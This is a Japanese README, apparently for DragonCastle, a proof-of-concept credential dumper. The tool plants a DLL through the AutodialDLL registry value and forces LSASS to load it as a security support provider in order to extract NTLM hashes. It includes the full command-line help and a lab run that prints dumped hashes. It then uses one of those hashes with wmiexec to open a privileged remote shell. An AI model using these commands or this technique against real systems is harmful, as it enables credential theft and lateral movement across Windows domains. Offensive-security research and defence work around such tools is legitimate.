DragonCastle

AutodialDLLの横展開テクニックとSSPを組み合わせて、LSASSプロセスからNTLMハッシュを抽出するPoCです。

説明

ターゲットマシンにDLLをアップロードします。次に、リモートレジストリを有効にしてAutodialDLLエントリを変更し、BITSサービスを開始/再起動します。SvchostsはDLLをロードし、AutodialDLLをデフォルト値に戻してから、RPCリクエストを実行してLSASSに同じDLLをSecurity Support Providerとして強制的にロードさせます。LSASSにロードされると、DLLはプロセスメモリ内を検索してNTLMハッシュとキー/IVを抽出します。DLLMainは常にFalseを返すため、プロセスはDLLを保持しません。

注意事項

RunAsPPLが有効でない場合にのみ動作します。また、怠惰なため3DESの復号化のみサポートを追加しましたが、AES用のコードを追加するのはとても簡単です。同様の理由で、次のWindowsバージョンに対してのみサポートを実装しました：

Build	Support
Windows 10 version 21H2
Windows 10 version 21H1	実装済み
Windows 10 version 20H2	実装済み
Windows 10 version 20H1 (2004)	実装済み
Windows 10 version 1909	実装済み
Windows 10 version 1903	実装済み
Windows 10 version 1809	実装済み
Windows 10 version 1803	実装済み
Windows 10 version 1709	実装済み
Windows 10 version 1703	実装済み
Windows 10 version 1607	実装済み
Windows 10 version 1511
Windows 10 version 1507
Windows 8
Windows 7

シグネチャ/オフセット/構造体はMimikatzから取得しました。新しいバージョンを追加したい場合は、Mimikatzのsekurlsa機能を確認してください。

使用方法

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

使用例

192.168.56.20上のWindowsサーバーと192.168.56.10上のドメインコントローラーの場合：

psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!

psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

著者

Juan Manuel Fernández (@TheXC3LL)

DragonCastle

人気

DragonCastle

説明

注意事項

使用方法

使用例

著者

参考文献